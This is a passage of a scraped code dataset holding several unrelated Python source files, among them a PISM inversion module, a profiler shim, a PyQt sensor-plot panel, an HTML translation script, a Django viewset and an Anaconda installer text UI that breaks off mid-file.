(data.grad_JDesign.norm(norm_type)[0] * dWeight,\n                                                                    data.grad_JState.norm(norm_type)[0] * sWeight,\n                                                                    data.grad_JTikhonov.norm(norm_type)[0]))\n    else:\n        logMessage(\"gradient: design %.8g state %.8g; constraints: %.8g\\n\" % (data.grad_JDesign.norm(norm_type)[0] * dWeight,\n                                                                              data.grad_JState.norm(norm_type)[0] * sWeight,\n                                                                              data.constraints.norm(norm_type)[0]))\n    logMessage(\"tikhonov functional: %.8g\\n\" % (stateVal * sWeight + designVal * dWeight))\n\n\nclass RMSMisfitReporter(object):\n    \"Report RMS misfit.\"\n    def __init__(self):\n        self.J = None\n\n    def __call__(self, invssa_solver, it, data):\n\n        grid = invssa_solver.ssarun.grid\n\n        if self.J is None:\n            vecs = invssa_solver.ssarun.modeldata.vecs\n            self.J = createMeanSquareMisfitFunctional(grid, vecs)\n\n        Jmisfit = self.J.valueAt(data.residual)\n        rms_misfit = math.sqrt(Jmisfit) * grid.ctx().config().get_number(\"inverse.ssa.velocity_scale\")\n\n        PISM.logging.logMessage(\"Diagnostic RMS Misfit: %0.8g (m/a)\\n\" % rms_misfit)\n\n\nclass MisfitLogger(object):\n    \"Logger that saves history of misfits to a file.\"\n    def __init__(self):\n        self.misfit_history = []\n        self.misfit_type = None\n\n    def __call__(self, invssa_solver, it, data):\n        \"\"\"\n        :param inverse_solver: the solver (e.g. :class:`~InvSSASolver_Tikhonov`) we are listening to.\n        :param count: the iteration number.\n        :param data: dictionary of data related to the iteration.\n        \"\"\"\n\n        grid = invssa_solver.ssarun.grid\n\n        if self.misfit_type is None:\n            self.misfit_type = grid.ctx().config().get_string(\"inverse.state_func\")\n\n        method = invssa_solver.method\n        if method == 'ign' or method == 'sd' or method == 'nlcg':\n            import PISM.invert.sipletools\n            fp = invssa_solver.forward_problem\n            r = PISM.invert.sipletools.PISMLocalVector(data.residual)\n            Jmisfit = fp.rangeIP(r, r)\n        elif 'JState' in data:\n            Jmisfit = data.JState\n        else:\n            raise RuntimeError(\"Unable to report misfits for inversion method: %s\" % method)\n\n        if self.misfit_type == \"meansquare\":\n            velScale_m_per_year = grid.ctx().config().get_number(\"inverse.ssa.velocity_scale\")\n\n            rms_misfit = math.sqrt(Jmisfit) * velScale_m_per_year\n\n            logMessage(\"Misfit: sqrt(J_misfit) = %.8g (m/a)\\n\" % rms_misfit)\n            self.misfit_history.append(rms_misfit)\n        else:\n            logMessage(\"Misfit: J_misfit = %.8g (dimensionless)\\n\" % Jmisfit)\n            self.misfit_history.append(Jmisfit)\n\n    def write(self, output_filename):\n        \"\"\"Saves a history of misfits as :ncvar:`inv_ssa_misfit`\n\n        :param output_filename: filename to save misfits to.\"\"\"\n\n        N = len(self.misfit_history)\n\n        ds = PISM.File(PISM.Context().com, output_filename, PISM.PISM_NETCDF3, PISM.PISM_READWRITE)\n\n        ds.redef()\n        ds.define_dimension('inv_ssa_iter', N)\n        ds.define_variable(\"inv_ssa_misfit\", PISM.PISM_DOUBLE, [\"inv_ssa_iter\"])\n        if self.misfit_type == \"meansquare\":\n            ds.write_attribute(\"inv_ssa_misfit\", \"units\", \"m/a\")\n        ds.write_variable(\"inv_ssa_misfit\", [0], [N], self.misfit_history)\n        ds.close()\n\n\nclass ZetaSaver(object):\n    r\"\"\"Iteration listener used to save a copy of the current value\n    of :math:`\\zeta` (i.e. a parameterized design variable such as :math:`\\tau_c` or hardness)\n    at each iteration during an inversion. The intent is to use a saved value to restart\n    an inversion if need be.\n    \"\"\"\n\n    def __init__(self, output_filename):\n        \"\"\":param output_filename: file to save iterations to.\"\"\"\n        self.output_filename = output_filename\n\n    def __call__(self, inverse_solver, count, data):\n        zeta = data.zeta\n        # The solver doesn't care what the name of zeta is, and we\n        # want it called 'zeta_inv' in the output file, so we rename it.\n        zeta.metadata().set_name('zeta_inv')\n        zeta.metadata().set_string('long_name',\n                                   'last iteration of parameterized basal yeild stress computed by inversion')\n        zeta.write(self.output_filename)\n","repo_name":"pism/pism","sub_path":"site-packages/PISM/invert/ssa.py","file_name":"ssa.py","file_ext":"py","file_size_in_byte":26246,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"18"}
{"seq_id":"8935889750","text":"try:\n\timport thread\nexcept:\n\timport _thread as thread\n\nimport sys\nimport ctypes\n\ndef hidden_frame(func, posargs, kwargs):\n\t\"\"\"this is just an extra method for new thread so\"\"\"\n\t\"\"\"we have the same # of extra frames (1) as the main thread\"\"\"\n\tfunc(*posargs, **kwargs)\n\n# set up tracing so we pick up other threads...\ndef new_thread(func, *posargs, **kwargs):\n    handle = start_profiling()\n    try:\n        hidden_frame(func, posargs, kwargs)\n    finally:\n        pyprofdll.CloseThread(handle)\n\ndef start_new_thread(func, args, kwargs = {}):\n    return _start_new_thread(new_thread, (func, ) + args, kwargs)\n\n_start_new_thread = thread.start_new_thread\nthread.start_new_thread = start_new_thread\n\ndef start_profiling():\n\t# load as PyDll so we're called w/ the GIL held\n\treturn pyprofdll.InitProfiler(profiler)\n\ntry:\n\texecfile\nexcept NameError:\n\t# Py3k, execfile no longer exists\n\tdef execfile(file, globals, locals): \n\t\tf = open(file, \"r\")\n\t\ttry:\n\t\t\texec(compile(f.read(), file, 'exec'), globals, locals) \n\t\tfinally:\n\t\t\tf.close()\n\ndef profile(file, globals_obj, locals_obj, profdll):\n\tglobal profiler, pyprofdll\n\n\tpyprofdll = ctypes.PyDLL(profdll)\n\tprofiler = pyprofdll.CreateProfiler(sys.dllhandle)\n\n\thandle = start_profiling()\n\n\ttry:\n\t\texecfile(file, globals_obj, locals_obj)\n\tfinally:\n\t\tpyprofdll.CloseThread(handle)\n\t\tpyprofdll.CloseProfiler(profiler)\n","repo_name":"rsumner33/PTVS","sub_path":"Release/Product/Python/Profiling/vspyprof.py","file_name":"vspyprof.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35515936268","text":"\r\nfrom PyQt4 import QtGui\r\nfrom ui.subpanel.dataplot.DataPlotPanel import Ui_DataPlotPanel\r\nfrom ui.subpanel.BasePanelController import BasePanelController\r\nfrom ui.UIEventDispatcher import UIEventDispatcher\r\nfrom model.VehicleEventDispatcher import VehicleEventDispatcher\r\nfrom pyqtgraph.graphicsItems.PlotCurveItem import PlotCurveItem\r\n\r\nclass SensorsDataPlotContoller(QtGui.QWidget, BasePanelController):\r\n\r\n    def __init__(self, vehicle_event_dispatcher, ui_event_dispatcher):\r\n        QtGui.QWidget.__init__(self)\r\n        BasePanelController.__init__(self)\r\n        self.ui = Ui_DataPlotPanel()\r\n        self.ui.setupUi(self)\r\n        \r\n        self.ui.plot_view.setRange(xRange=(0, 128), padding=0.0)\r\n        self.ui.plot_view.clear()\r\n        self.ui.plot_view.setBackground(QtGui.QColor('white'))\r\n        self.ui.tree_widget.clear()\r\n        self._plot_index = 0\r\n        \r\n        self._plot_datas_arrays = []\r\n        self._curves = [] \r\n        self._colors = [\r\n            QtGui.QColor('blue'),\r\n            QtGui.QColor('red'),\r\n            QtGui.QColor('lime'),\r\n            QtGui.QColor('cornflowerblue'),\r\n            QtGui.QColor('greenyellow'),\r\n            QtGui.QColor('violet'),\r\n            QtGui.QColor('orange'),\r\n            QtGui.QColor('deepskyblue'),\r\n            QtGui.QColor('firebrick'),\r\n            QtGui.QColor('aqua')]\r\n        \r\n        self.gyro_parent = QtGui.QTreeWidgetItem(self.ui.tree_widget)\r\n        self.gyro_parent.setCheckState(0, 2)\r\n        self.gyro_parent.setText(0, 'Gyro')\r\n        self.gyro_parent.addChild (self.createPlotLine(0, self._colors[0], 'Gyro X Axis'))\r\n        self.gyro_parent.addChild (self.createPlotLine(1, self._colors[1], 'Gyro Y Axis'))\r\n        self.gyro_parent.addChild (self.createPlotLine(2, self._colors[2], 'Gyro Z Axis'))\r\n        self.ui.tree_widget.expandItem(self.gyro_parent)\r\n        \r\n        self.accel_parent = QtGui.QTreeWidgetItem(self.ui.tree_widget)\r\n        self.accel_parent.setCheckState(0, 2)\r\n        self.accel_parent.setText(0, 'Accel')\r\n        self.accel_parent.addChild (self.createPlotLine(3, self._colors[3], 'Accel X Axis'))\r\n        self.accel_parent.addChild (self.createPlotLine(4, self._colors[4], 'Accel Y Axis'))\r\n        self.accel_parent.addChild (self.createPlotLine(5, self._colors[5], 'Accel Z Axis'))\r\n        self.ui.tree_widget.expandItem(self.accel_parent)\r\n        \r\n        ui_event_dispatcher.register(self._protocol_handler_changed_event, UIEventDispatcher.PROTOCOL_HANDLER_EVENT)\r\n        vehicle_event_dispatcher.register(self._gyro_raw_data_receved, VehicleEventDispatcher.GYRO_DATA_EVENT)\r\n        vehicle_event_dispatcher.register(self._accel_raw_data_receved, VehicleEventDispatcher.ACCEL_DATA_EVENT)\r\n        vehicle_event_dispatcher.register(self._mag_raw_data_receved, VehicleEventDispatcher.MAGNETOMETER_DATA_EVENT)\r\n        vehicle_event_dispatcher.register(self._is_magnetometer_detected_event, VehicleEventDispatcher.MAGNETOMETER_DETECTED_EVENT)\r\n\r\n    def createPlotLine(self, idx, color, plotName):\r\n        self._plot_datas_arrays.append([0.0] * 128)\r\n        self._curves.append(\r\n            PlotCurveItem(self._plot_datas_arrays[idx], pen={'color':color, 'width': 2})\r\n        )\r\n        self.ui.plot_view.addItem(self._curves[idx])\r\n\r\n        newLine = QtGui.QTreeWidgetItem()\r\n        newLine.setCheckState(0, 2)\r\n        newLine.setBackgroundColor(0, color)\r\n        newLine.setText(1, plotName + '   ')\r\n        newLine.setText(2, '0.000')\r\n        return newLine\r\n        \r\n    def _protocol_handler_changed_event(self, event, protocol_handler):\r\n        self._protocol_handler = protocol_handler;\r\n                \r\n    def _is_magnetometer_detected_event(self, header, is_detected):\r\n        if is_detected == 'Detected':\r\n            self.mag_parent = QtGui.QTreeWidgetItem(self.ui.tree_widget)\r\n            self.mag_parent.setCheckState(0, 2)\r\n            self.mag_parent.setText(0, 'Magnetometer')\r\n            self.mag_parent.addChild (self.createPlotLine(6, self._colors[6], 'Mag X Axis'))\r\n            self.mag_parent.addChild (self.createPlotLine(7, self._colors[7], 'Mag Y Axis'))\r\n            self.mag_parent.addChild (self.createPlotLine(8, self._colors[8], 'Mag Z Axis'))\r\n            self.ui.tree_widget.expandItem(self.mag_parent)\r\n                    \r\n    def start(self):\r\n        self._protocol_handler.subscribe_sensors_data();\r\n        \r\n    def stop(self):\r\n        self._protocol_handler.unsubscribe_command();\r\n        \r\n    def _gyro_raw_data_receved(self, event, gyro_vector):\r\n        if self.gyro_parent.checkState(0) != 2:\r\n            for i in range(0, 3):\r\n                if self._curves[i] in self.ui.plot_view.items():\r\n                    self.ui.plot_view.removeItem(self._curves[i])\r\n            return\r\n        \r\n        gyro_data_array = [gyro_vector.get_x(),gyro_vector.get_y(),gyro_vector.get_z()]\r\n        for i in range(0, 3):\r\n            gyro_child_node = self.gyro_parent.child(i)\r\n            if gyro_child_node.checkState(0) == 2:\r\n                self._plot_datas_arrays[i].insert(0, float(gyro_data_array[i]))\r\n                self._plot_datas_arrays[i].pop()\r\n                gyro_child_node.setText(2, gyro_data_array[i])\r\n                self._curves[i].setData(self._plot_datas_arrays[i])\r\n                if self._curves[i] not in self.ui.plot_view.items():\r\n                    self.ui.plot_view.addItem(self._curves[i])\r\n            elif self._curves[i] in self.ui.plot_view.items():\r\n                self.ui.plot_view.removeItem(self._curves[i])\r\n        \r\n    def _accel_raw_data_receved(self, event, accel_vector):\r\n        if self.accel_parent.checkState(0) != 2:\r\n            for i in range(0, 3):\r\n                if self._curves[i+3] in self.ui.plot_view.items():\r\n                    self.ui.plot_view.removeItem(self._curves[i+3])\r\n            return\r\n\r\n        accel_data_array = [accel_vector.get_x(),accel_vector.get_y(),accel_vector.get_z()]\r\n        for i in range(0, 3):\r\n            accel_child_node = self.accel_parent.child(i)\r\n            if accel_child_node.checkState(0) == 2:\r\n                self._plot_datas_arrays[i+3].insert(0, float(accel_data_array[i]))\r\n                self._plot_datas_arrays[i+3].pop()\r\n                accel_child_node.setText(2, accel_data_array[i])\r\n                self._curves[i+3].setData(self._plot_datas_arrays[i+3])\r\n                if self._curves[i+3] not in self.ui.plot_view.items():\r\n                    self.ui.plot_view.addItem(self._curves[i+3])\r\n            elif self._curves[i+3] in self.ui.plot_view.items():\r\n                self.ui.plot_view.removeItem(self._curves[i+3])\r\n        \r\n    def _mag_raw_data_receved(self, event, mag_vector):\r\n        if self.mag_parent.checkState(0) != 2:\r\n            for i in range(0, 3):\r\n                if self._curves[i+6] in self.ui.plot_view.items():\r\n                    self.ui.plot_view.removeItem(self._curves[i+6])\r\n            return\r\n\r\n        mag_data_array = [mag_vector.get_x(),mag_vector.get_y(),mag_vector.get_z()]\r\n        for i in range(0, 3):\r\n            mag_child_node = self.mag_parent.child(i)\r\n            if mag_child_node.checkState(0) == 2:\r\n                self._plot_datas_arrays[i+6].insert(0, float(mag_data_array[i]))\r\n                self._plot_datas_arrays[i+6].pop()\r\n                mag_child_node.setText(2, mag_data_array[i])\r\n                self._curves[i+6].setData(self._plot_datas_arrays[i+6])\r\n                if self._curves[i+6] not in self.ui.plot_view.items():\r\n                    self.ui.plot_view.addItem(self._curves[i+6])\r\n            elif self._curves[i+6] in self.ui.plot_view.items():\r\n                self.ui.plot_view.removeItem(self._curves[i+6])\r\n\r\n\r\n","repo_name":"AeroQuad/AeroQuadConfiguratorPyQt","sub_path":"ui/subpanel/dataplot/SensorsDataPlotControler.py","file_name":"SensorsDataPlotControler.py","file_ext":"py","file_size_in_byte":7727,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"}
{"seq_id":"70448111460","text":"import os\nfrom bs4 import BeautifulSoup\nfrom googletrans import Translator\n\ninput_folder = 'C:\\\\Users\\\\amiag\\\\Desktop\\\\aaa\\\\1\\\\www.classcentral.com\\\\report'\noutput_folder = 'C:\\\\Users\\\\amiag\\\\Desktop\\\\aaa\\\\1\\\\www.classcentral.com2\\\\report'\ni = 1\ntranslator = Translator()\nfor root, dirs, files in os.walk(input_folder):\n    print(root)\n    print(dirs)\n    print(files)\n    print('-------------------')\n    if i < 20:\n        i = i + 1\n        continue\n    for file in files:\n        if file.endswith('.html'):\n            input_file = os.path.join(root, file)\n            output_dir = os.path.join(output_folder, os.path.relpath(root, input_folder))\n            print(output_dir)\n            print(input_file)\n            output_file = os.path.join(output_dir, file)\n            print(output_file)\n            os.makedirs(output_dir, exist_ok=True)\n            with open(input_file, 'r', encoding='utf-8') as f:\n                soup = BeautifulSoup(f.read(), 'html.parser')\n            text_elements = soup.find_all(True)\n            for element in text_elements:\n                if element.name == 'img' and element.has_attr('data-src'):\n                    element['src'] = element['data-src']\n                if element.string is not None and element.name not in ['style', 'script', 'meta']:\n                    translation = translator.translate(element.string, src='auto', dest='hi').text\n                    element.string = translation\n            with open(output_file, 'w', encoding='utf-8') as f:\n                f.write(str(soup))\n            print(f\"Translated {input_file} to {output_file}\")\n","repo_name":"AmishiAgrawal/ClassCentral","sub_path":"ClassCentral/extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38720323358","text":"import json\nfrom utils import metric2imperial\nfrom classes import Film\n\nif __name__ == \"__main__\":\n    film = Film(1)\n\n    film.get_all_cross_refs()\n    for char in film.characters:\n        char[\"mass\"] = metric2imperial(char[\"mass\"], \"kg\", \"lb\")\n        char[\"height\"] = metric2imperial(char[\"height\"], \"cm\", \"ft\")\n    with open(\"task_two.json\", \"w\") as f:\n        f.write(json.dumps(film.write_contents(), indent=2))\n","repo_name":"deaconblues86/starwars","sub_path":"task_two.py","file_name":"task_two.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2251555010","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@Remark: 自定义视图集\n\"\"\"\nfrom drf_yasg import openapi\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework.decorators import action\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom utils.filters import DataLevelPermissionsFilter\nfrom utils.jsonResponse import SuccessResponse,ErrorResponse,DetailResponse\nfrom utils.permission import CustomPermission\nfrom django.http import Http404\nfrom django.shortcuts import get_object_or_404 as _get_object_or_404\nfrom django.core.exceptions import ValidationError\nfrom utils.exception import APIException\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom django_filters import utils\nfrom rest_framework.filters import OrderingFilter, SearchFilter\nfrom rest_framework.permissions import IsAuthenticated\n\ndef get_object_or_404(queryset, *filter_args, **filter_kwargs):\n    \"\"\"\n    Same as Django's standard shortcut, but make sure to also raise 404\n    if the filter_kwargs don't match the required types.\n    \"\"\"\n    try:\n        return _get_object_or_404(queryset, *filter_args, **filter_kwargs)\n    except (TypeError, ValueError, ValidationError):\n        raise APIException(message='该对象不存在或者无访问权限')\n\nclass CustomDjangoFilterBackend(DjangoFilterBackend):\n    \"\"\"\n    自定义DjangoFilterBackend过滤，重新支持filter_fields，filter_class\n    新版本：django-filter==22.1开始弃用21.1版本及以下的filter_fields，filter_class\n    改为：filterset_fields和filterset_class\n    \"\"\"\n\n    def get_filterset_class(self, view, queryset=None):\n        \"\"\"\n        Return the `FilterSet` class used to filter the queryset.\n        \"\"\"\n        filterset_class = getattr(view, 'filterset_class', None)\n        filterset_fields = getattr(view, 'filterset_fields', None)\n\n        # TODO: remove assertion in 2.1\n        if filterset_class is None and hasattr(view, 'filter_class'):\n            utils.deprecate(\n                \"`%s.filter_class` attribute should be renamed `filterset_class`.\"\n                % view.__class__.__name__)\n            filterset_class = getattr(view, 'filter_class', None)\n\n        # TODO: remove assertion in 2.1\n        if filterset_fields is None and hasattr(view, 'filter_fields'):\n            utils.deprecate(\n                \"`%s.filter_fields` attribute should be renamed `filterset_fields`.\"\n                % view.__class__.__name__)\n            filterset_fields = getattr(view, 'filter_fields', None)\n\n        if filterset_class:\n            filterset_model = filterset_class._meta.model\n\n            # FilterSets do not need to specify a Meta class\n            if filterset_model and queryset is not None:\n                assert issubclass(queryset.model, filterset_model), \\\n                    'FilterSet model %s does not match queryset model %s' % \\\n                    (filterset_model, queryset.model)\n\n            return filterset_class\n\n        if filterset_fields and queryset is not None:\n            MetaBase = getattr(self.filterset_base, 'Meta', object)\n\n            class AutoFilterSet(self.filterset_base):\n                class Meta(MetaBase):\n                    model = queryset.model\n                    fields = filterset_fields\n\n            return AutoFilterSet\n\n        return None\n\nclass CustomModelViewSet(ModelViewSet):\n    \"\"\"\n    自定义的ModelViewSet:\n    统一标准的返回格式;新增,查询,修改可使用不同序列化器\n    (1)ORM性能优化, 尽可能使用values_queryset形式\n    (2)create_serializer_class 新增时,使用的序列化器\n    (3)update_serializer_class 修改时,使用的序列化器\n    \"\"\"\n    values_queryset = None\n    ordering_fields = '__all__'\n    create_serializer_class = None\n    update_serializer_class = None\n    filterset_fields = ()\n    # filterset_fields = '__all__'\n    search_fields = ()\n    extra_filter_backends = [DataLevelPermissionsFilter]\n    permission_classes = [CustomPermission,IsAuthenticated]\n    filter_backends = [CustomDjangoFilterBackend, OrderingFilter, SearchFilter]\n\n    def filter_queryset(self, queryset):\n        for backend in set(set(self.filter_backends) | set(self.extra_filter_backends or [])):\n            queryset = backend().filter_queryset(self.request, queryset, self)\n        return queryset\n\n    def get_queryset(self):\n        if getattr(self, 'values_queryset', None):\n            return self.values_queryset\n        return super().get_queryset()\n\n    def get_serializer_class(self):\n        action_serializer_name = f\"{self.action}_serializer_class\"\n        action_serializer_class = getattr(self, action_serializer_name, None)\n        if action_serializer_class:\n            return action_serializer_class\n        return super().get_serializer_class()\n\n    def create(self, request, *args, **kwargs):\n        serializer = self.get_serializer(data=request.data, request=request)\n        serializer.is_valid(raise_exception=True)\n        self.perform_create(serializer)\n        return DetailResponse(data=serializer.data, msg=\"新增成功\")\n\n    def list(self, request, *args, **kwargs):\n        queryset = self.filter_queryset(self.get_queryset())\n        page = self.paginate_queryset(queryset)\n        if page is not None:\n            serializer = self.get_serializer(page, many=True, request=request)\n            return self.get_paginated_response(serializer.data)\n        serializer = self.get_serializer(queryset, many=True, request=request)\n        return SuccessResponse(data=serializer.data, msg=\"获取成功\")\n\n    def retrieve(self, request, *args, **kwargs):\n        instance = self.get_object()\n        serializer = self.get_serializer(instance)\n        return SuccessResponse(data=serializer.data, msg=\"获取成功\")\n\n    def update(self, request, *args, **kwargs):\n        partial = kwargs.pop('partial', False)\n        instance = self.get_object()\n        serializer = self.get_serializer(instance, data=request.data, request=request, partial=partial)\n        serializer.is_valid(raise_exception=True)\n        self.perform_update(serializer)\n\n        if getattr(instance, '_prefetched_objects_cache', None):\n            # If 'prefetch_related' has been applied to a queryset, we need to\n            # forcibly invalidate the prefetch cache on the instance.\n            instance._prefetched_objects_cache = {}\n\n        return DetailResponse(data=serializer.data, msg=\"更新成功\")\n    #增强drf得批量删除功能 ：http请求方法：delete 如： url /api/admin/user/1,2,3/ 批量删除id 1，2，3得用户\n    def get_object_list(self):\n        queryset = self.filter_queryset(self.get_queryset())\n        lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field\n        assert lookup_url_kwarg in self.kwargs, (\n                'Expected view %s to be called with a URL keyword argument '\n                'named \"%s\". Fix your URL conf, or set the `.lookup_field` '\n                'attribute on the view correctly.' %\n                (self.__class__.__name__, lookup_url_kwarg)\n        )\n        filter_kwargs = {f\"{self.lookup_field}__in\": self.kwargs[lookup_url_kwarg].split(',')}\n        obj = queryset.filter(**filter_kwargs)\n        self.check_object_permissions(self.request, obj)\n        return obj\n\n    #重写delete方法，让它支持批量删除 如：  /api/admin/user/1,2,3/ 批量删除id 1，2，3得用户\n    def destroy(self, request, *args, **kwargs):\n        instance = self.get_object_list()\n        self.perform_destroy(instance)\n        return DetailResponse(data=[], msg=\"删除成功\")\n\n    def perform_destroy(self, instance):\n        instance.delete()\n\n    #原来得单id删除方法\n    # def destroy(self, request, *args, **kwargs):\n    #     instance = self.get_object()\n    #     self.perform_destroy(instance)\n    #     return SuccessResponse(data=[], msg=\"删除成功\")\n\n    #新的批量删除方法\n    keys = openapi.Schema(description='主键列表', type=openapi.TYPE_ARRAY, items=openapi.TYPE_STRING)\n\n    @swagger_auto_schema(request_body=openapi.Schema(\n        type=openapi.TYPE_OBJECT,\n        required=['keys'],\n        properties={'keys': keys}\n    ), operation_summary='批量删除')\n    @action(methods=['delete'], detail=False)\n    def multiple_delete(self, request, *args, **kwargs):\n        request_data = request.data\n        keys = request_data.get('keys', None)\n        if keys:\n            self.get_queryset().filter(id__in=keys).delete()\n            return SuccessResponse(data=[], msg=\"删除成功\")\n        else:\n            return ErrorResponse(msg=\"未获取到keys字段\")\n\n","repo_name":"lybbn/django-vue-lyadmin","sub_path":"backend/utils/viewset.py","file_name":"viewset.py","file_ext":"py","file_size_in_byte":8580,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"35"}
{"seq_id":"74984565860","text":"from pyanaconda import ui\nfrom pyanaconda.core.constants import IPMI_ABORTED, QUIT_MESSAGE\nfrom pyanaconda.flags import flags\nfrom pyanaconda.core.threads import thread_manager\nfrom pyanaconda.core.util import ipmi_report\nfrom pyanaconda.ui.tui.hubs.summary import SummaryHub\nfrom pyanaconda.ui.tui.signals import SendMessageSignal\nfrom pyanaconda.ui.tui.spokes import StandaloneSpoke\nfrom pyanaconda.ui.tui.tuiobject import IpmiErrorDialog\n\nfrom simpleline import App\nfrom simpleline.event_loop.glib_event_loop import GLibEventLoop\nfrom simpleline.event_loop.signals import ExceptionSignal\nfrom simpleline.input.input_handler import InputHandler\nfrom simpleline.render.adv_widgets import YesNoDialog\nfrom simpleline.render.screen_handler import ScreenHandler\n\nimport os\nimport sys\nimport site\nimport queue\nimport meh.ui.text\nfrom pyanaconda.anaconda_loggers import get_module_logger\nlog = get_module_logger(__name__)\n\nexception_processed = False\n\n\ndef exception_msg_handler(signal, data):\n    \"\"\"\n    Handler for the ExceptionSignal signal.\n\n    :param signal: event data\n    :type signal: (event_type, message_data)\n    :param data: additional data\n    :type data: any\n    \"\"\"\n    global exception_processed\n    if exception_processed:\n        # get data from the event data structure\n        exception_info = signal.exception_info\n\n        stack_trace = \"\\n\" + App.get_scheduler().dump_stack()\n        log.error(stack_trace)\n        # exception_info is a list\n        sys.excepthook(*exception_info)\n    else:\n        # show only the first exception do not spam user with others\n        exception_processed = True\n        loop = App.get_event_loop()\n        # start new loop for handling the exception\n        # this will stop processing all the old signals and prevent raising new exceptions\n        loop.execute_new_loop(signal)\n\n\ndef tui_quit_callback(data):\n    ipmi_report(IPMI_ABORTED)\n\n\nclass TextUserInterface(ui.UserInterface):\n    \"\"\"This is the main class for Text user interface.\n\n       .. inheritance-diagram:: TextUserInterface\n          :parts: 3\n    \"\"\"\n\n    ENVIRONMENT = \"anaconda\"\n\n    def __init__(self, storage, payload,\n                 productTitle=\"Anaconda\", isFinal=True,\n                 quitMessage=QUIT_MESSAGE):\n        \"\"\"\n        For detailed description of the arguments see\n        the parent class.\n\n        :param storage: storage backend reference\n        :type storage: instance of pyanaconda.Storage\n\n        :param payload: payload (usually dnf) reference\n        :type payload: instance of payload handler\n\n        :param productTitle: the name of the product\n        :type productTitle: str\n\n        :param isFinal: Boolean that marks the release\n                        as final (True) or development\n                        (False) version.\n        :type isFinal: bool\n\n        :param quitMessage: The text to be used in quit\n                            dialog question. It should not\n                            be translated to allow for change\n                            of language.\n        :type quitMessage: str\n        \"\"\"\n\n        super().__init__(storage, payload)\n        self._meh_interface = meh.ui.text.TextIntf()\n\n        self.productTitle = productTitle\n        self.isFinal = isFinal\n        self.quitMessage = quitMessage\n\n    basemask = \"pyanaconda.ui\"\n    basepath = os.path.dirname(os.path.dirname(__file__))\n    sitepackages = [os.path.join(dir, \"pyanaconda\", \"ui\")\n                    for dir in site.getsitepackages()]\n    pathlist = set([basepath] + sitepackages)\n\n    _categories = []\n    _spokes = []\n    _hubs = []\n\n    # as list comprehension can't reference class level variables in Python 3 we\n    # need to use a for cycle (http://bugs.python.org/issue21161)\n    for path in pathlist:\n        _categories.append((basemask + \".categories.%s\", os.path.join(path, \"categories\")))\n        _spokes.append((basemask + \".tui.spokes.%s\", os.path.join(path, \"tui/spokes\")))\n        _hubs.append((basemask + \".tui.hubs.%s\", os.path.join(path, \"tui/hubs\")))\n\n    paths = ui.UserInterface.paths + {\n        \"categories\": _categories,\n        \"spokes\": _spokes,\n        \"hubs\": _hubs,\n    }\n\n    @property\n    def tty_num(self):\n        return 1\n\n    @property\n    def meh_interface(self):\n        return self._meh_interface\n\n    def _list_hubs(self):\n        \"\"\"Returns the list of hubs to use.\"\"\"\n        return [SummaryHub]\n\n    def _is_standalone(self, spoke):\n        \"\"\"Checks if the passed spoke is standalone.\"\"\"\n        return isinstance(spoke, StandaloneSpoke)\n\n    def setup(self, data):\n        \"\"\"Construct all the objects required to implement this interface.\n\n        This method must be provided by all subclasses.\n        \"\"\"\n        # Use GLib event loop for the Simpleline TUI\n        loop = GLibEventLoop()\n        App.initialize(event_loop=loop)\n\n        loop.set_quit_callback(tui_quit_callback)\n        scheduler = App.get_scheduler()\n        scheduler.quit_screen = YesNoDialog(self.quitMessage)\n\n        # tell python-meh it should use our raw_input\n        meh_io_handler = meh.ui.text.IOHandler(in_func=self._get_meh_input_func)\n        self._meh_interface.set_io_handler(meh_io_handler)\n\n        # register handlers for various messages\n        loop = App.get_event_loop()\n        loop.register_signal_handler(ExceptionSignal, exception_msg_handler)\n        loop.register_signal_handler(SendMessageSignal, self._handle_show_message)\n\n        _hubs = self._list_hubs()\n\n        # First, grab a list of all the standalone spokes.\n        spokes = self._collectActionClasses(self.paths[\"spokes\"], StandaloneSpoke)\n        actionClasses = self._orderActionClasses(spokes, _hubs)\n\n        for klass in actionClasses:\n            obj = klass(data, self.storage, self.payload)\n\n            # If we are doing a kickstart install, some standalone spokes\n            # could already be filled out.  In that case, we do not want\n            # to display them.\n            if self._is_standalone(obj) and obj.completed:\n                del(obj)\n                continue\n\n            if hasattr(obj, \"set_path\"):\n                obj.set_path(\"spokes\", self.paths[\"spokes\"])\n                obj.set_path(\"categories\", self.paths[\"categories\"])\n\n            should_schedule = obj.setup(self.ENVIRONMENT)\n\n            if should_schedule:\n                scheduler.schedule_screen(obj)\n\n    def _get_meh_input_func(self, text_prompt):\n        handler = InputHandler(source=self.meh_interface)\n        handler.skip_concurrency_check = True\n        handler.get_input(text_prompt)\n        handler.wait_on_input()\n        return handler.value\n\n    def run(self):\n        \"\"\"Run the interface.\n\n        This should do little more than just pass through to something else's run method,\n        but is provided here in case more is needed.  This method must be provided by all subclasses.\n        \"\"\"\n        return App.run()\n\n    ###\n    ### MESSAGE HANDLING METHODS\n    ###\n    def _send_show_message(self, msg_fn, args, ret_queue):\n        \"\"\" Send message requesting to show some message dialog specified by the message function.\n\n        :param msg_fn: message dialog function requested to be called\n        :type msg_fn: a function taking the same number of arguments as is the\n                      length of the args param\n        :param args: arguments to be passed to the message dialog function\n        :type args: any\n        :param ret_queue: the queue which the return value of the message dialog\n                          function should be put\n        :type ret_queue: a queue.Queue instance\n        \"\"\"\n\n        signal = SendMessageSignal(self, msg_fn=msg_fn, args=args, ret_queue=ret_queue)\n        loop = App.get_event_loop()\n        loop.enqueue_signal(signal)\n\n    def _handle_show_message(self, signal, data):\n        \"\"\"Handler for the SendMessageSignal signal.\n\n        :param signal: SendMessage signal\n        :type signal: instance of the SendMessageSignal class\n        :param data: additional data\n        :type data: any\n        \"\"\"\n        msg_fn = 